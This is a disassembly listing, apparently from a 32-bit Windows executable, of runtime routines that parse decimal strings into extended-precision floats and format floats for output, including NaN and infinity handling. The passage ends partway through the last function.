sub_41E9B3	proc near		; CODE XREF: sub_41EA6C+40p
					; sub_41EA6C+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_41E992
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E9E5
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_41E992
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E9E5
		inc	dword ptr [esi+8]


loc_41E9E5:				; CODE XREF: sub_41E9B3+19j
					; sub_41E9B3+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_41E992
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41E9FD
		inc	dword ptr [esi+8]


loc_41E9FD:				; CODE XREF: sub_41E9B3+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_41E992
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_41E9B3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EA11	proc near		; CODE XREF: sub_41EA6C+30p
					; sub_41EA6C+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, [eax]
		mov	edi, [eax+4]
		mov	ecx, esi
		add	esi, esi
		mov	[eax], esi
		lea	esi, [edi+edi]
		shr	ecx, 1Fh
		or	esi, ecx
		mov	ecx, [eax+8]
		mov	edx, edi
		mov	[eax+4], esi
		shr	edx, 1Fh
		shl	ecx, 1
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		pop	esi
		retn
sub_41EA11	endp


; =============== S U B	R O U T	I N E =======================================



sub_41EA3F	proc near		; CODE XREF: sub_41F004+1C8p
					; sub_41F4FC+17Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		mov	edx, [eax+8]
		mov	ecx, [eax+4]
		mov	esi, edx
		mov	edi, ecx
		shl	esi, 1Fh
		shr	ecx, 1
		or	ecx, esi
		mov	[eax+4], ecx
		mov	ecx, [eax]
		shl	edi, 1Fh
		shr	ecx, 1
		shr	edx, 1
		or	ecx, edi
		pop	edi
		mov	[eax+8], edx
		mov	[eax], ecx
		pop	esi
		retn
sub_41EA3F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA6C	proc near		; CODE XREF: sub_41EB33+3CAp

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	ebx, [ebp+arg_8]
		xor	edx, edx
		cmp	eax, edx
		push	esi
		mov	[ebp+var_4], 404Eh
		mov	[ebx], edx
		mov	[ebx+4], edx
		mov	[ebx+8], edx
		jbe	short loc_41EAE0
		push	edi
		mov	[ebp+arg_8], eax


loc_41EA93:				; CODE XREF: sub_41EA6C+6Fj
		mov	esi, ebx
		lea	edi, [ebp+var_10]
		movsd
		movsd
		push	ebx
		movsd
		call	sub_41EA11
		push	ebx
		call	sub_41EA11
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41E9B3
		push	ebx
		call	sub_41EA11
		mov	eax, [ebp+arg_0]
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		movsx	eax, byte ptr [eax]
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	sub_41E9B3
		add	esp, 1Ch
		inc	[ebp+arg_0]
		dec	[ebp+arg_8]
		jnz	short loc_41EA93
		xor	edx, edx
		pop	edi


loc_41EAE0:				; CODE XREF: sub_41EA6C+21j
					; sub_41EA6C+9Fj
		cmp	[ebx+8], edx
		jnz	short loc_41EB0D
		mov	ecx, [ebx+4]
		mov	eax, ecx
		shr	eax, 10h
		mov	[ebx+8], eax
		mov	eax, [ebx]
		mov	esi, eax
		shr	esi, 10h
		shl	ecx, 10h
		or	esi, ecx
		shl	eax, 10h
		add	[ebp+var_4], 0FFF0h
		mov	[ebx+4], esi
		mov	[ebx], eax
		jmp	short loc_41EAE0
; ---------------------------------------------------------------------------


loc_41EB0D:				; CODE XREF: sub_41EA6C+77j
		mov	esi, 8000h


loc_41EB12:				; CODE XREF: sub_41EA6C+B9j
		test	[ebx+8], esi
		jnz	short loc_41EB27
		push	ebx
		call	sub_41EA11
		add	[ebp+var_4], 0FFFFh
		pop	ecx
		jmp	short loc_41EB12
; ---------------------------------------------------------------------------


loc_41EB27:				; CODE XREF: sub_41EA6C+A9j
		mov	ax, word ptr [ebp+var_4]
		pop	esi
		mov	[ebx+0Ah], ax
		pop	ebx
		leave
		retn
sub_41EA6C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EB33	proc near		; CODE XREF: sub_41DD0E+17p
					; sub_41DD3B+17p

var_5C		= byte ptr -5Ch
var_45		= byte ptr -45h
var_40		= dword	ptr -40h
var_3A		= dword	ptr -3Ah
var_36		= dword	ptr -36h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 5Ch
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_8]
		lea	eax, [ebp+var_5C]
		push	1
		mov	[ebp+var_C], eax
		xor	eax, eax
		pop	edx
		mov	[ebp+var_28], eax
		mov	[ebp+var_18], edx
		mov	[ebp+var_4], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_2C], eax
		mov	[ebp+var_30], eax
		mov	[ebp+var_1C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_14], eax
		mov	[ebp+arg_8], edi


loc_41EB6E:				; CODE XREF: sub_41EB33+52j
		mov	cl, [edi]
		cmp	cl, 20h
		jz	short loc_41EB84
		cmp	cl, 9
		jz	short loc_41EB84
		cmp	cl, 0Ah
		jz	short loc_41EB84
		cmp	cl, 0Dh
		jnz	short loc_41EB87


loc_41EB84:				; CODE XREF: sub_41EB33+40j
					; sub_41EB33+45j ...
		inc	edi
		jmp	short loc_41EB6E
; ---------------------------------------------------------------------------


loc_41EB87:				; CODE XREF: sub_41EB33+4Fj
		push	4
		pop	esi


loc_41EB8A:				; CODE XREF: sub_41EB33+AEj
					; sub_41EB33+B7j ...
		mov	bl, [edi]
		inc	edi
		cmp	eax, 0Bh	; switch 12 cases
		ja	loc_41EE0D	; default
					; jumptable 0041EB96 case 10
		jmp	off_41EFD4[eax*4] ; switch jump


loc_41EB9D:				; DATA XREF: .nsp0:off_41EFD4o
		cmp	bl, 31h		; jumptable 0041EB96 case 0
		jl	short loc_41EBAE
		cmp	bl, 39h
		jg	short loc_41EBAE


loc_41EBA7:				; CODE XREF: sub_41EB33+C4j
					; sub_41EB33+118j
		push	3
		jmp	loc_41EDCB
; ---------------------------------------------------------------------------


loc_41EBAE:				; CODE XREF: sub_41EB33+6Dj
					; sub_41EB33+72j
		cmp	bl, byte_437F80
		jnz	short loc_41EBBD


loc_41EBB6:				; CODE XREF: sub_41EB33+124j
		push	5
		jmp	loc_41EE03
; ---------------------------------------------------------------------------


loc_41EBBD:				; CODE XREF: sub_41EB33+81j
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41EBE3
		dec	eax
		dec	eax
		jz	short loc_41EBD7
		sub	eax, 3
		jnz	loc_41EEA6
		jmp	loc_41EC66
; ---------------------------------------------------------------------------


loc_41EBD7:				; CODE XREF: sub_41EB33+94j
		push	2
		mov	[ebp+var_28], 8000h
		pop	eax
		jmp	short loc_41EB8A
; ---------------------------------------------------------------------------


loc_41EBE3:				; CODE XREF: sub_41EB33+90j
		and	[ebp+var_28], 0
		push	2
		pop	eax
		jmp	short loc_41EB8A
; ---------------------------------------------------------------------------


loc_41EBEC:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: .nsp0:off_41EFD4o
		cmp	bl, 31h		; jumptable 0041EB96 case 1
		mov	[ebp+var_10], edx
		jl	short loc_41EBF9
		cmp	bl, 39h
		jle	short loc_41EBA7


loc_41EBF9:				; CODE XREF: sub_41EB33+BFj
		cmp	bl, byte_437F80
		jz	loc_41ECC1
		cmp	bl, 2Bh
		jz	short loc_41EC3B
		cmp	bl, 2Dh
		jz	short loc_41EC3B
		cmp	bl, 30h
		jz	short loc_41EC66


loc_41EC14:				; CODE XREF: sub_41EB33+207j
		cmp	bl, 43h
		jle	loc_41EEA6
		cmp	bl, 45h
		jle	short loc_41EC34
		cmp	bl, 63h
		jle	loc_41EEA6
		cmp	bl, 65h
		jg	loc_41EEA6


loc_41EC34:				; CODE XREF: sub_41EB33+EDj
		push	6
		jmp	loc_41EE03
; ---------------------------------------------------------------------------


loc_41EC3B:				; CODE XREF: sub_41EB33+D5j
					; sub_41EB33+DAj ...
		dec	edi
		push	0Bh
		jmp	loc_41EE03
; ---------------------------------------------------------------------------


loc_41EC43:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: .nsp0:off_41EFD4o
		cmp	bl, 31h		; jumptable 0041EB96 case 2
		jl	short loc_41EC51
		cmp	bl, 39h
		jle	loc_41EBA7


loc_41EC51:				; CODE XREF: sub_41EB33+113j
		cmp	bl, byte_437F80
		jz	loc_41EBB6
		cmp	bl, 30h
		jnz	loc_41EE1B


loc_41EC66:				; CODE XREF: sub_41EB33+9Fj
					; sub_41EB33+DFj
		mov	eax, edx
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------


loc_41EC6D:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: .nsp0:off_41EFD4o
		mov	[ebp+var_10], edx ; jumptable 0041EB96 case 3


loc_41EC70:				; CODE XREF: sub_41EB33+184j
		cmp	dword_437F7C, edx
		jle	short loc_41EC89
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41EC97
; ---------------------------------------------------------------------------


loc_41EC89:				; CODE XREF: sub_41EB33+143j
		mov	ecx, off_437D70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41EC97:				; CODE XREF: sub_41EB33+154j
		test	eax, eax
		jz	short loc_41ECB9
		cmp	[ebp+var_4], 19h
		jnb	short loc_41ECB1
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		mov	[eax], bl
		jmp	short loc_41ECB4
; ---------------------------------------------------------------------------


loc_41ECB1:				; CODE XREF: sub_41EB33+16Cj
		inc	[ebp+var_8]


loc_41ECB4:				; CODE XREF: sub_41EB33+17Cj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41EC70
; ---------------------------------------------------------------------------


loc_41ECB9:				; CODE XREF: sub_41EB33+166j
		cmp	bl, byte_437F80
		jnz	short loc_41ED28


loc_41ECC1:				; CODE XREF: sub_41EB33+CCj
		mov	eax, esi
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------


loc_41ECC8:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: .nsp0:off_41EFD4o
		cmp	[ebp+var_4], 0	; jumptable 0041EB96 case 4
		mov	[ebp+var_10], edx
		mov	[ebp+var_24], edx
		jnz	short loc_41ECE1


loc_41ECD4:				; CODE XREF: sub_41EB33+1ACj
		cmp	bl, 30h
		jnz	short loc_41ECE1
		dec	[ebp+var_8]
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41ECD4
; ---------------------------------------------------------------------------


loc_41ECE1:				; CODE XREF: sub_41EB33+19Fj
					; sub_41EB33+1A4j ...
		cmp	dword_437F7C, edx
		jle	short loc_41ECFA
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41ED08
; ---------------------------------------------------------------------------


loc_41ECFA:				; CODE XREF: sub_41EB33+1B4j
		mov	ecx, off_437D70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41ED08:				; CODE XREF: sub_41EB33+1C5j
		test	eax, eax
		jz	short loc_41ED28
		cmp	[ebp+var_4], 19h
		jnb	short loc_41ED23
		mov	eax, [ebp+var_C]
		inc	[ebp+var_4]
		sub	bl, 30h
		inc	[ebp+var_C]
		dec	[ebp+var_8]
		mov	[eax], bl


loc_41ED23:				; CODE XREF: sub_41EB33+1DDj
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41ECE1
; ---------------------------------------------------------------------------


loc_41ED28:				; CODE XREF: sub_41EB33+18Cj
					; sub_41EB33+1D7j
		cmp	bl, 2Bh
		jz	loc_41EC3B
		cmp	bl, 2Dh
		jz	loc_41EC3B
		jmp	loc_41EC14
; ---------------------------------------------------------------------------


loc_41ED3F:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: .nsp0:off_41EFD4o
		cmp	dword_437F7C, edx ; jumptable 0041EB96 case 5
		mov	[ebp+var_24], edx
		jle	short loc_41ED5B
		movzx	eax, bl
		push	esi
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		push	1
		pop	edx
		jmp	short loc_41ED69
; ---------------------------------------------------------------------------


loc_41ED5B:				; CODE XREF: sub_41EB33+215j
		mov	ecx, off_437D70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, esi


loc_41ED69:				; CODE XREF: sub_41EB33+226j
		test	eax, eax
		jz	loc_41EE1B
		mov	eax, esi
		jmp	short loc_41EDCC
; ---------------------------------------------------------------------------


loc_41ED75:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: .nsp0:off_41EFD4o
		lea	ecx, [edi-2]	; jumptable 0041EB96 case 6
		cmp	bl, 31h
		mov	[ebp+arg_8], ecx
		jl	short loc_41ED85
		cmp	bl, 39h
		jle	short loc_41EDC9


loc_41ED85:				; CODE XREF: sub_41EB33+24Bj
		movsx	eax, bl
		sub	eax, 2Bh
		jz	short loc_41EE01
		dec	eax
		dec	eax
		jz	short loc_41EDF5
		sub	eax, 3
		jnz	loc_41EEA9


loc_41ED9A:				; CODE XREF: sub_41EB33+2A4j
		push	8
		jmp	short loc_41EE03
; ---------------------------------------------------------------------------


loc_41ED9E:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: .nsp0:off_41EFD4o
		mov	[ebp+var_20], edx ; jumptable 0041EB96 case 8


loc_41EDA1:				; CODE XREF: sub_41EB33+276j
		cmp	bl, 30h
		jnz	short loc_41EDAB
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41EDA1
; ---------------------------------------------------------------------------


loc_41EDAB:				; CODE XREF: sub_41EB33+271j
		cmp	bl, 31h
		jl	loc_41EEA6
		cmp	bl, 39h
		jg	loc_41EEA6
		jmp	short loc_41EDC9
; ---------------------------------------------------------------------------


loc_41EDBF:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: .nsp0:off_41EFD4o
		cmp	bl, 31h		; jumptable 0041EB96 case 7
		jl	short loc_41EDD2
		cmp	bl, 39h
		jg	short loc_41EDD2


loc_41EDC9:				; CODE XREF: sub_41EB33+250j
					; sub_41EB33+28Aj
		push	9


loc_41EDCB:				; CODE XREF: sub_41EB33+76j
		pop	eax


loc_41EDCC:				; CODE XREF: sub_41EB33+240j
		dec	edi
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------


loc_41EDD2:				; CODE XREF: sub_41EB33+28Fj
					; sub_41EB33+294j
		cmp	bl, 30h
		jnz	short loc_41EE1B
		jmp	short loc_41ED9A
; ---------------------------------------------------------------------------


loc_41EDD9:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: .nsp0:off_41EFD4o
		cmp	[ebp+arg_18], 0	; jumptable 0041EB96 case 11
		jz	short loc_41EE09
		movsx	eax, bl
		lea	ecx, [edi-1]
		sub	eax, 2Bh
		mov	[ebp+arg_8], ecx
		jz	short loc_41EE01
		dec	eax
		dec	eax
		jnz	loc_41EEA9


loc_41EDF5:				; CODE XREF: sub_41EB33+25Cj
		or	[ebp+var_18], 0FFFFFFFFh
		push	7
		pop	eax
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------


loc_41EE01:				; CODE XREF: sub_41EB33+258j
					; sub_41EB33+2B8j
		push	7


loc_41EE03:				; CODE XREF: sub_41EB33+85j
					; sub_41EB33+103j ...
		pop	eax
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------


loc_41EE09:				; CODE XREF: sub_41EB33+2AAj
		push	0Ah
		dec	edi
		pop	eax


loc_41EE0D:				; CODE XREF: sub_41EB33+5Dj
					; sub_41EB33+63j
					; DATA XREF: ...
		cmp	eax, 0Ah	; default
					; jumptable 0041EB96 case 10
		jz	loc_41EEAB
		jmp	loc_41EB8A
; ---------------------------------------------------------------------------


loc_41EE1B:				; CODE XREF: sub_41EB33+12Dj
					; sub_41EB33+238j ...
		mov	edi, [ebp+arg_8]
		jmp	loc_41EEAB
; ---------------------------------------------------------------------------


loc_41EE23:				; CODE XREF: sub_41EB33+63j
					; DATA XREF: .nsp0:off_41EFD4o
		mov	[ebp+var_20], 1	; jumptable 0041EB96 case 9
		xor	esi, esi


loc_41EE2C:				; CODE XREF: sub_41EB33+339j
		cmp	dword_437F7C, 1
		jle	short loc_41EE44
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41EE53
; ---------------------------------------------------------------------------


loc_41EE44:				; CODE XREF: sub_41EB33+300j
		mov	ecx, off_437D70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41EE53:				; CODE XREF: sub_41EB33+30Fj
		test	eax, eax
		jz	short loc_41EE73
		movsx	ecx, bl
		lea	eax, [esi+esi*4]
		lea	esi, [ecx+eax*2-30h]
		cmp	esi, 1450h
		jg	short loc_41EE6E
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41EE2C
; ---------------------------------------------------------------------------


loc_41EE6E:				; CODE XREF: sub_41EB33+334j
		mov	esi, 1451h


loc_41EE73:				; CODE XREF: sub_41EB33+322j
		mov	[ebp+var_1C], esi


loc_41EE76:				; CODE XREF: sub_41EB33+371j
		cmp	dword_437F7C, 1
		jle	short loc_41EE8E
		movzx	eax, bl
		push	4
		push	eax
		call	sub_418556
		pop	ecx
		pop	ecx
		jmp	short loc_41EE9D
; ---------------------------------------------------------------------------


loc_41EE8E:				; CODE XREF: sub_41EB33+34Aj
		mov	ecx, off_437D70
		movzx	eax, bl
		mov	al, [ecx+eax*2]
		and	eax, 4


loc_41EE9D:				; CODE XREF: sub_41EB33+359j
		test	eax, eax
		jz	short loc_41EEA6
		mov	bl, [edi]
		inc	edi
		jmp	short loc_41EE76
; ---------------------------------------------------------------------------


loc_41EEA6:				; CODE XREF: sub_41EB33+99j
					; sub_41EB33+E4j ...
		dec	edi
		jmp	short loc_41EEAB
; ---------------------------------------------------------------------------


loc_41EEA9:				; CODE XREF: sub_41EB33+261j
					; sub_41EB33+2BCj
		mov	edi, ecx


loc_41EEAB:				; CODE XREF: sub_41EB33+2DDj
					; sub_41EB33+2EBj ...
		mov	eax, [ebp+arg_4]
		cmp	[ebp+var_10], 0
		mov	[eax], edi
		jz	loc_41EF93
		push	18h
		pop	eax
		cmp	[ebp+var_4], eax
		jbe	short loc_41EED7
		cmp	[ebp+var_45], 5
		jl	short loc_41EECB
		inc	[ebp+var_45]


loc_41EECB:				; CODE XREF: sub_41EB33+393j
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_C]
		dec	eax
		inc	[ebp+var_8]
		jmp	short loc_41EEDA
; ---------------------------------------------------------------------------


loc_41EED7:				; CODE XREF: sub_41EB33+38Dj
		mov	eax, [ebp+var_C]


loc_41EEDA:				; CODE XREF: sub_41EB33+3A2j
		cmp	[ebp+var_4], 0
		jbe	loc_41EF89


loc_41EEE4:				; CODE XREF: sub_41EB33+3BDj
		dec	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_41EEF2
		dec	[ebp+var_4]
		inc	[ebp+var_8]
		jmp	short loc_41EEE4
; ---------------------------------------------------------------------------


loc_41EEF2:				; CODE XREF: sub_41EB33+3B5j
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_5C]
		push	[ebp+var_4]
		push	eax
		call	sub_41EA6C
		mov	eax, [ebp+var_1C]
		xor	ecx, ecx
		add	esp, 0Ch
		cmp	[ebp+var_18], ecx
		jge	short loc_41EF11
		neg	eax


loc_41EF11:				; CODE XREF: sub_41EB33+3DAj
		add	eax, [ebp+var_8]
		cmp	[ebp+var_20], ecx
		jnz	short loc_41EF1C
		add	eax, [ebp+arg_10]


loc_41EF1C:				; CODE XREF: sub_41EB33+3E4j
		cmp	[ebp+var_24], ecx
		jnz	short loc_41EF24
		sub	eax, [ebp+arg_14]


loc_41EF24:				; CODE XREF: sub_41EB33+3ECj
		cmp	eax, 1450h
		jle	short loc_41EF5B
		mov	[ebp+var_2C], 1


loc_41EF32:				; CODE XREF: sub_41EB33+436j
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_8]
		mov	eax, [ebp+arg_8]
		mov	edx, [ebp+arg_8]


loc_41EF3E:				; CODE XREF: sub_41EB33+454j
					; sub_41EB33+45Ej
		cmp	[ebp+var_2C], 0
		jz	short loc_41EFA4
		xor	ebx, ebx
		mov	eax, 7FFFh
		mov	esi, 80000000h
		xor	edx, edx
		mov	[ebp+var_14], 2
		jmp	short loc_41EFB9
; ---------------------------------------------------------------------------


loc_41EF5B:				; CODE XREF: sub_41EB33+3F6j
		cmp	eax, 0FFFFEBB0h
		jge	short loc_41EF6B
		mov	[ebp+var_30], 1
		jmp	short loc_41EF32
; ---------------------------------------------------------------------------


loc_41EF6B:				; CODE XREF: sub_41EB33+42Dj
		push	[ebp+arg_C]
		push	eax
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41F71C
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_41EF3E
; ---------------------------------------------------------------------------


loc_41EF89:				; CODE XREF: sub_41EB33+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_41EF3E
; ---------------------------------------------------------------------------


loc_41EF93:				; CODE XREF: sub_41EB33+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_41EFB9
; ---------------------------------------------------------------------------


loc_41EFA4:				; CODE XREF: sub_41EB33+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_41EFB9
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_41EFB9:				; CODE XREF: sub_41EB33+426j
					; sub_41EB33+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_41EB33	endp

; ---------------------------------------------------------------------------
off_41EFD4	dd offset loc_41EB9D	; DATA XREF: sub_41EB33+63r
		dd offset loc_41EBEC	; jump table for switch	statement
		dd offset loc_41EC43
		dd offset loc_41EC6D
		dd offset loc_41ECC8
		dd offset loc_41ED3F
		dd offset loc_41ED75
		dd offset loc_41EDBF
		dd offset loc_41ED9E
		dd offset loc_41EE23
		dd offset loc_41EE0D
		dd offset loc_41EDD9

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F004	proc near		; CODE XREF: sub_41DDDF+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_41F066
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41F06A
; ---------------------------------------------------------------------------


loc_41F066:				; CODE XREF: sub_41F004+5Aj
		mov	byte ptr [ebx+2], 20h


loc_41F06A:				; CODE XREF: sub_41F004+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_41F090
		test	edi, edi
		jnz	short loc_41F090
		cmp	[ebp+arg_0], edi
		jnz	short loc_41F090


loc_41F07B:				; CODE XREF: sub_41F004+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_41F28E
; ---------------------------------------------------------------------------


loc_41F090:				; CODE XREF: sub_41F004+6Cj
					; sub_41F004+70j ...
		cmp	dx, si
		jnz	short loc_41F10F
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_41F0A9
		cmp	[ebp+arg_0], 0
		jz	short loc_41F0B8


loc_41F0A9:				; CODE XREF: sub_41F004+9Dj
		test	edi, 40000000h
		jnz	short loc_41F0B8
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_41F0FE
; ---------------------------------------------------------------------------


loc_41F0B8:				; CODE XREF: sub_41F004+A3j
					; sub_41F004+ABj
		test	cx, cx
		jz	short loc_41F0D2
		cmp	edi, 0C0000000h
		jnz	short loc_41F0D2
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F0F9
		push	offset a1Ind	; "1#IND"
		jmp	short loc_41F0E1
; ---------------------------------------------------------------------------


loc_41F0D2:				; CODE XREF: sub_41F004+B7j
					; sub_41F004+BFj
		cmp	edi, eax
		jnz	short loc_41F0F9
		cmp	[ebp+arg_0], 0
		jnz	short loc_41F0F9
		push	offset a1Inf	; "1#INF"


loc_41F0E1:				; CODE XREF: sub_41F004+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_415C00
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_41F0F0:				; CODE XREF: sub_41F004+109j
		and	[ebp+var_4], 0
		jmp	loc_41F267
; ---------------------------------------------------------------------------


loc_41F0F9:				; CODE XREF: sub_41F004+C5j
					; sub_41F004+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_41F0FE:				; CODE XREF: sub_41F004+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_415C00
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_41F0F0
; ---------------------------------------------------------------------------


loc_41F10F:				; CODE XREF: sub_41F004+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F71C
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_41F170
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41F4FC
		pop	ecx
		pop	ecx


loc_41F170:				; CODE XREF: sub_41F004+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_41F18A
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_41F18D
		jmp	loc_41F07B
; ---------------------------------------------------------------------------


loc_41F18A:				; CODE XREF: sub_41F004+173j
		mov	edi, [ebp+arg_C]


